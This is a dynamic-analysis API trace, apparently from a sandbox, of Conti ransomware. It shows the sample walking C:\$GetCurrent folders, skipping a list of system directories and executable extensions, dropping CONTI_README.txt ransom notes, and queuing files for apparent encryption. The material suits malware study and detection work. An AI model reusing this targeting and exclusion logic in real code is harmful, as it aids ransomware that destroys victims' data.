	[0093.157] lstrcmpiW (lpString1="$GetCurrent", lpString2="$Recycle.Bin") returned -1
	[0093.157] lstrcmpiW (lpString1="$GetCurrent", lpString2="$RECYCLE.BIN") returned -1
	[0093.157] lstrcmpiW (lpString1="$GetCurrent", lpString2="System Volume Information") returned -1
	[0093.157] lstrcmpiW (lpString1="$GetCurrent", lpString2="Program Files") returned -1
	[0093.157] lstrcmpiW (lpString1="$GetCurrent", lpString2="Program Files (x86)") returned -1
	[0093.157] lstrcmpiW (lpString1="$GetCurrent", lpString2="Boot") returned -1
	[0093.157] lstrcmpiW (lpString1="$GetCurrent", lpString2="Windows") returned -1
	[0093.157] lstrlenW (lpString="C:\\") returned 3
	[0093.157] lstrlenW (lpString="$GetCurrent") returned 11
	[0093.157] GetProcessHeap () returned 0x1720000
	[0093.157] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x20) returned 0x174e4e8
	[0093.157] lstrcpyW (in: lpString1=0x174e4e8, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\"
	[0093.157] lstrcatW (in: lpString1="C:\\", lpString2="$GetCurrent" | out: lpString1="C:\\$GetCurrent") returned="C:\\$GetCurrent"
	[0093.157] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0093.157] GetProcessHeap () returned 0x1720000
	[0093.157] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x22) returned 0x1741e18
	[0093.157] lstrcpyW (in: lpString1=0x1741e18, lpString2="C:\\$GetCurrent" | out: lpString1="C:\\$GetCurrent") returned="C:\\$GetCurrent"
	[0093.157] lstrcatW (in: lpString1="C:\\$GetCurrent", lpString2="\\*" | out: lpString1="C:\\$GetCurrent\\*") returned="C:\\$GetCurrent\\*"
	[0093.157] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0093.157] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.157] GetProcessHeap () returned 0x1720000
	[0093.157] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x40) returned 0x1734990
	[0093.157] lstrcpyW (in: lpString1=0x1734990, lpString2="C:\\$GetCurrent" | out: lpString1="C:\\$GetCurrent") returned="C:\\$GetCurrent"
	[0093.157] lstrcatW (in: lpString1="C:\\$GetCurrent", lpString2="\\" | out: lpString1="C:\\$GetCurrent\\") returned="C:\\$GetCurrent\\"
	[0093.157] lstrcatW (in: lpString1="C:\\$GetCurrent\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\$GetCurrent\\CONTI_README.txt") returned="C:\\$GetCurrent\\CONTI_README.txt"
	[0093.157] CreateFileW (lpFileName="C:\\$GetCurrent\\CONTI_README.txt" (normalized: "c:\\$getcurrent\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0093.160] GetProcessHeap () returned 0x1720000
	[0093.160] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734990 | out: hHeap=0x1720000) returned 1
	[0093.160] WriteFile (in: hFile=0x2f8, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f88c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f88c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.161] CloseHandle (hObject=0x2f8) returned 1
	[0093.161] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x4b5d867f, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650072, dwReserved1=0x74006e, cFileName=".", cAlternateFileName="")) returned 0x175e470
	[0093.161] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.161] FindNextFileW (in: hFindFile=0x175e470, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x4b5d867f, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650072, dwReserved1=0x74006e, cFileName="..", cAlternateFileName="")) returned 1
	[0093.162] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.162] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.162] FindNextFileW (in: hFindFile=0x175e470, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b5d867f, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4b5d867f, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4b5d867f, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x650072, dwReserved1=0x74006e, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.162] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.162] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.162] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.162] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.162] FindNextFileW (in: hFindFile=0x175e470, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650072, dwReserved1=0x74006e, cFileName="Logs", cAlternateFileName="")) returned 1
	[0093.162] lstrcmpiW (lpString1="Logs", lpString2=".") returned 1
	[0093.162] lstrcmpiW (lpString1="Logs", lpString2="..") returned 1
	[0093.162] lstrcmpiW (lpString1="Logs", lpString2="tmp") returned -1
	[0093.162] lstrcmpiW (lpString1="Logs", lpString2="winnt") returned -1
	[0093.162] lstrcmpiW (lpString1="Logs", lpString2="Application Data") returned 1
	[0093.162] lstrcmpiW (lpString1="Logs", lpString2="AppData") returned 1
	[0093.162] lstrcmpiW (lpString1="Logs", lpString2="temp") returned -1
	[0093.162] lstrcmpiW (lpString1="Logs", lpString2="thumb") returned -1
	[0093.162] lstrcmpiW (lpString1="Logs", lpString2="$Recycle.Bin") returned 1
	[0093.162] lstrcmpiW (lpString1="Logs", lpString2="$RECYCLE.BIN") returned 1
	[0093.162] lstrcmpiW (lpString1="Logs", lpString2="System Volume Information") returned -1
	[0093.162] lstrcmpiW (lpString1="Logs", lpString2="Program Files") returned -1
	[0093.163] lstrcmpiW (lpString1="Logs", lpString2="Program Files (x86)") returned -1
	[0093.163] lstrcmpiW (lpString1="Logs", lpString2="Boot") returned 1
	[0093.163] lstrcmpiW (lpString1="Logs", lpString2="Windows") returned -1
	[0093.163] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0093.163] lstrlenW (lpString="Logs") returned 4
	[0093.163] GetProcessHeap () returned 0x1720000
	[0093.163] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x28) returned 0x1741de8
	[0093.163] lstrcpyW (in: lpString1=0x1741de8, lpString2="C:\\$GetCurrent" | out: lpString1="C:\\$GetCurrent") returned="C:\\$GetCurrent"
	[0093.163] lstrcatW (in: lpString1="C:\\$GetCurrent", lpString2="\\" | out: lpString1="C:\\$GetCurrent\\") returned="C:\\$GetCurrent\\"
	[0093.163] lstrcatW (in: lpString1="C:\\$GetCurrent\\", lpString2="Logs" | out: lpString1="C:\\$GetCurrent\\Logs") returned="C:\\$GetCurrent\\Logs"
	[0093.163] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0093.163] GetProcessHeap () returned 0x1720000
	[0093.163] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x2c) returned 0x1738980
	[0093.163] lstrcpyW (in: lpString1=0x1738980, lpString2="C:\\$GetCurrent\\Logs" | out: lpString1="C:\\$GetCurrent\\Logs") returned="C:\\$GetCurrent\\Logs"
	[0093.163] lstrcatW (in: lpString1="C:\\$GetCurrent\\Logs", lpString2="\\*" | out: lpString1="C:\\$GetCurrent\\Logs\\*") returned="C:\\$GetCurrent\\Logs\\*"
	[0093.163] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0093.163] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.163] GetProcessHeap () returned 0x1720000
	[0093.163] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x4a) returned 0x1732540
	[0093.163] lstrcpyW (in: lpString1=0x1732540, lpString2="C:\\$GetCurrent\\Logs" | out: lpString1="C:\\$GetCurrent\\Logs") returned="C:\\$GetCurrent\\Logs"
	[0093.163] lstrcatW (in: lpString1="C:\\$GetCurrent\\Logs", lpString2="\\" | out: lpString1="C:\\$GetCurrent\\Logs\\") returned="C:\\$GetCurrent\\Logs\\"
	[0093.163] lstrcatW (in: lpString1="C:\\$GetCurrent\\Logs\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\$GetCurrent\\Logs\\CONTI_README.txt") returned="C:\\$GetCurrent\\Logs\\CONTI_README.txt"
	[0093.163] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\CONTI_README.txt" (normalized: "c:\\$getcurrent\\logs\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0093.165] GetProcessHeap () returned 0x1720000
	[0093.165] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732540 | out: hHeap=0x1720000) returned 1
	[0093.165] WriteFile (in: hFile=0x2fc, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.166] CloseHandle (hObject=0x2fc) returned 1
	[0093.166] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x4b5feaa6, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x175e330
	[0093.167] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.167] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x4b5feaa6, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0093.167] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.167] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.167] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b5feaa6, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4b5feaa6, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4b5feaa6, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.167] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.167] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.167] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.167] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.167] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1
	[0093.167] lstrcmpiW (lpString1="downlevel_2017_09_07_02_02_39_766.log", lpString2=".") returned 1
	[0093.167] lstrcmpiW (lpString1="downlevel_2017_09_07_02_02_39_766.log", lpString2="..") returned 1
	[0093.167] StrStrIW (lpFirst="downlevel_2017_09_07_02_02_39_766.log", lpSrch=".CONTI") returned 0x0
	[0093.167] StrStrIW (lpFirst="downlevel_2017_09_07_02_02_39_766.log", lpSrch="CONTI_README.txt") returned 0x0
	[0093.167] StrStrIW (lpFirst="downlevel_2017_09_07_02_02_39_766.log", lpSrch=".exe") returned 0x0
	[0093.167] StrStrIW (lpFirst="downlevel_2017_09_07_02_02_39_766.log", lpSrch=".dll") returned 0x0
	[0093.167] StrStrIW (lpFirst="downlevel_2017_09_07_02_02_39_766.log", lpSrch=".lnk") returned 0x0
	[0093.167] StrStrIW (lpFirst="downlevel_2017_09_07_02_02_39_766.log", lpSrch=".sys") returned 0x0
	[0093.167] StrStrIW (lpFirst="downlevel_2017_09_07_02_02_39_766.log", lpSrch=".CONTI") returned 0x0
	[0093.167] StrStrIW (lpFirst="downlevel_2017_09_07_02_02_39_766.log", lpSrch="CONTI_README.txt") returned 0x0
	[0093.167] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0093.167] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37
	[0093.167] GetProcessHeap () returned 0x1720000
	[0093.167] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x74) returned 0x1726e10
	[0093.167] lstrcpyW (in: lpString1=0x1726e10, lpString2="C:\\$GetCurrent\\Logs" | out: lpString1="C:\\$GetCurrent\\Logs") returned="C:\\$GetCurrent\\Logs"
	[0093.167] lstrcatW (in: lpString1="C:\\$GetCurrent\\Logs", lpString2="\\" | out: lpString1="C:\\$GetCurrent\\Logs\\") returned="C:\\$GetCurrent\\Logs\\"
	[0093.167] lstrcatW (in: lpString1="C:\\$GetCurrent\\Logs\\", lpString2="downlevel_2017_09_07_02_02_39_766.log" | out: lpString1="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log"
	[0093.167] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17bfc58) returned 1
	[0093.167] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1
	[0093.167] lstrcmpiW (lpString1="oobe_2017_09_07_03_08_57_737.log", lpString2=".") returned 1
	[0093.167] lstrcmpiW (lpString1="oobe_2017_09_07_03_08_57_737.log", lpString2="..") returned 1
	[0093.168] StrStrIW (lpFirst="oobe_2017_09_07_03_08_57_737.log", lpSrch=".CONTI") returned 0x0
	[0093.168] StrStrIW (lpFirst="oobe_2017_09_07_03_08_57_737.log", lpSrch="CONTI_README.txt") returned 0x0
	[0093.168] StrStrIW (lpFirst="oobe_2017_09_07_03_08_57_737.log", lpSrch=".exe") returned 0x0
	[0093.168] StrStrIW (lpFirst="oobe_2017_09_07_03_08_57_737.log", lpSrch=".dll") returned 0x0
	[0093.168] StrStrIW (lpFirst="oobe_2017_09_07_03_08_57_737.log", lpSrch=".lnk") returned 0x0
	[0093.168] StrStrIW (lpFirst="oobe_2017_09_07_03_08_57_737.log", lpSrch=".sys") returned 0x0
	[0093.168] StrStrIW (lpFirst="oobe_2017_09_07_03_08_57_737.log", lpSrch=".CONTI") returned 0x0
	[0093.168] StrStrIW (lpFirst="oobe_2017_09_07_03_08_57_737.log", lpSrch="CONTI_README.txt") returned 0x0
	[0093.168] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0093.168] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32
	[0093.168] GetProcessHeap () returned 0x1720000
	[0093.168] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6a) returned 0x1740820
	[0093.168] lstrcpyW (in: lpString1=0x1740820, lpString2="C:\\$GetCurrent\\Logs" | out: lpString1="C:\\$GetCurrent\\Logs") returned="C:\\$GetCurrent\\Logs"
	[0093.168] lstrcatW (in: lpString1="C:\\$GetCurrent\\Logs", lpString2="\\" | out: lpString1="C:\\$GetCurrent\\Logs\\") returned="C:\\$GetCurrent\\Logs\\"
	[0093.168] lstrcatW (in: lpString1="C:\\$GetCurrent\\Logs\\", lpString2="oobe_2017_09_07_03_08_57_737.log" | out: lpString1="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log"
	[0093.168] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17bfe90) returned 1
	[0093.168] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1
	[0093.168] lstrcmpiW (lpString1="PartnerSetupCompleteResult.log", lpString2=".") returned 1
	[0093.168] lstrcmpiW (lpString1="PartnerSetupCompleteResult.log", lpString2="..") returned 1
	[0093.168] StrStrIW (lpFirst="PartnerSetupCompleteResult.log", lpSrch=".CONTI") returned 0x0
	[0093.169] StrStrIW (lpFirst="PartnerSetupCompleteResult.log", lpSrch="CONTI_README.txt") returned 0x0
	[0093.169] StrStrIW (lpFirst="PartnerSetupCompleteResult.log", lpSrch=".exe") returned 0x0
	[0093.169] StrStrIW (lpFirst="PartnerSetupCompleteResult.log", lpSrch=".dll") returned 0x0
	[0093.169] StrStrIW (lpFirst="PartnerSetupCompleteResult.log", lpSrch=".lnk") returned 0x0
	[0093.169] StrStrIW (lpFirst="PartnerSetupCompleteResult.log", lpSrch=".sys") returned 0x0
	[0093.169] StrStrIW (lpFirst="PartnerSetupCompleteResult.log", lpSrch=".CONTI") returned 0x0
	[0093.169] StrStrIW (lpFirst="PartnerSetupCompleteResult.log", lpSrch="CONTI_README.txt") returned 0x0
	[0093.169] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0093.169] lstrlenW (lpString="PartnerSetupCompleteResult.log") returned 30
	[0093.169] GetProcessHeap () returned 0x1720000
	[0093.169] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x66) returned 0x1740ce0
	[0093.169] lstrcpyW (in: lpString1=0x1740ce0, lpString2="C:\\$GetCurrent\\Logs" | out: lpString1="C:\\$GetCurrent\\Logs") returned="C:\\$GetCurrent\\Logs"
	[0093.169] lstrcatW (in: lpString1="C:\\$GetCurrent\\Logs", lpString2="\\" | out: lpString1="C:\\$GetCurrent\\Logs\\") returned="C:\\$GetCurrent\\Logs\\"
	[0093.169] lstrcatW (in: lpString1="C:\\$GetCurrent\\Logs\\", lpString2="PartnerSetupCompleteResult.log" | out: lpString1="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log"
	[0093.169] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c00c8) returned 1
	[0093.169] FindNextFileW (in: hFindFile=0x175e330, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x5c3f8dc, dwReserved1=0xb6884, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0
	[0093.169] GetProcessHeap () returned 0x1720000
	[0093.169] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1738980 | out: hHeap=0x1720000) returned 1
	[0093.169] FindClose (in: hFindFile=0x175e330 | out: hFindFile=0x175e330) returned 1
	[0093.169] GetProcessHeap () returned 0x1720000
	[0093.169] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741de8 | out: hHeap=0x1720000) returned 1
	[0093.169] FindNextFileW (in: hFindFile=0x175e470, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650072, dwReserved1=0x74006e, cFileName="SafeOS", cAlternateFileName="")) returned 1
	[0093.169] lstrcmpiW (lpString1="SafeOS", lpString2=".") returned 1
	[0093.169] lstrcmpiW (lpString1="SafeOS", lpString2="..") returned 1
	[0093.169] lstrcmpiW (lpString1="SafeOS", lpString2="tmp") returned -1
	[0093.169] lstrcmpiW (lpString1="SafeOS", lpString2="winnt") returned -1
	[0093.169] lstrcmpiW (lpString1="SafeOS", lpString2="Application Data") returned 1
	[0093.169] lstrcmpiW (lpString1="SafeOS", lpString2="AppData") returned 1
	[0093.169] lstrcmpiW (lpString1="SafeOS", lpString2="temp") returned -1
	[0093.169] lstrcmpiW (lpString1="SafeOS", lpString2="thumb") returned -1
	[0093.170] lstrcmpiW (lpString1="SafeOS", lpString2="$Recycle.Bin") returned 1
	[0093.170] lstrcmpiW (lpString1="SafeOS", lpString2="$RECYCLE.BIN") returned 1
	[0093.170] lstrcmpiW (lpString1="SafeOS", lpString2="System Volume Information") returned -1
	[0093.170] lstrcmpiW (lpString1="SafeOS", lpString2="Program Files") returned 1
	[0093.170] lstrcmpiW (lpString1="SafeOS", lpString2="Program Files (x86)") returned 1
	[0093.170] lstrcmpiW (lpString1="SafeOS", lpString2="Boot") returned 1
	[0093.170] lstrcmpiW (lpString1="SafeOS", lpString2="Windows") returned -1
	[0093.170] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0093.170] lstrlenW (lpString="SafeOS") returned 6
	[0093.170] GetProcessHeap () returned 0x1720000
	[0093.170] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x2c) returned 0x1738ad0
	[0093.170] lstrcpyW (in: lpString1=0x1738ad0, lpString2="C:\\$GetCurrent" | out: lpString1="C:\\$GetCurrent") returned="C:\\$GetCurrent"
	[0093.170] lstrcatW (in: lpString1="C:\\$GetCurrent", lpString2="\\" | out: lpString1="C:\\$GetCurrent\\") returned="C:\\$GetCurrent\\"
	[0093.170] lstrcatW (in: lpString1="C:\\$GetCurrent\\", lpString2="SafeOS" | out: lpString1="C:\\$GetCurrent\\SafeOS") returned="C:\\$GetCurrent\\SafeOS"
	[0093.170] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS") returned 21
	[0093.170] GetProcessHeap () returned 0x1720000
	[0093.170] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x30) returned 0x1738c90
	[0093.170] lstrcpyW (in: lpString1=0x1738c90, lpString2="C:\\$GetCurrent\\SafeOS" | out: lpString1="C:\\$GetCurrent\\SafeOS") returned="C:\\$GetCurrent\\SafeOS"
	[0093.170] lstrcatW (in: lpString1="C:\\$GetCurrent\\SafeOS", lpString2="\\*" | out: lpString1="C:\\$GetCurrent\\SafeOS\\*") returned="C:\\$GetCurrent\\SafeOS\\*"
	[0093.170] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS") returned 21
	[0093.170] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.170] GetProcessHeap () returned 0x1720000
	[0093.170] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x4e) returned 0x1732540
	[0093.170] lstrcpyW (in: lpString1=0x1732540, lpString2="C:\\$GetCurrent\\SafeOS" | out: lpString1="C:\\$GetCurrent\\SafeOS") returned="C:\\$GetCurrent\\SafeOS"
	[0093.170] lstrcatW (in: lpString1="C:\\$GetCurrent\\SafeOS", lpString2="\\" | out: lpString1="C:\\$GetCurrent\\SafeOS\\") returned="C:\\$GetCurrent\\SafeOS\\"
	[0093.170] lstrcatW (in: lpString1="C:\\$GetCurrent\\SafeOS\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\$GetCurrent\\SafeOS\\CONTI_README.txt") returned="C:\\$GetCurrent\\SafeOS\\CONTI_README.txt"
	[0093.170] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\CONTI_README.txt" (normalized: "c:\\$getcurrent\\safeos\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0093.179] GetProcessHeap () returned 0x1720000
	[0093.179] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732540 | out: hHeap=0x1720000) returned 1
	[0093.179] WriteFile (in: hFile=0x2fc, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.180] CloseHandle (hObject=0x2fc) returned 1
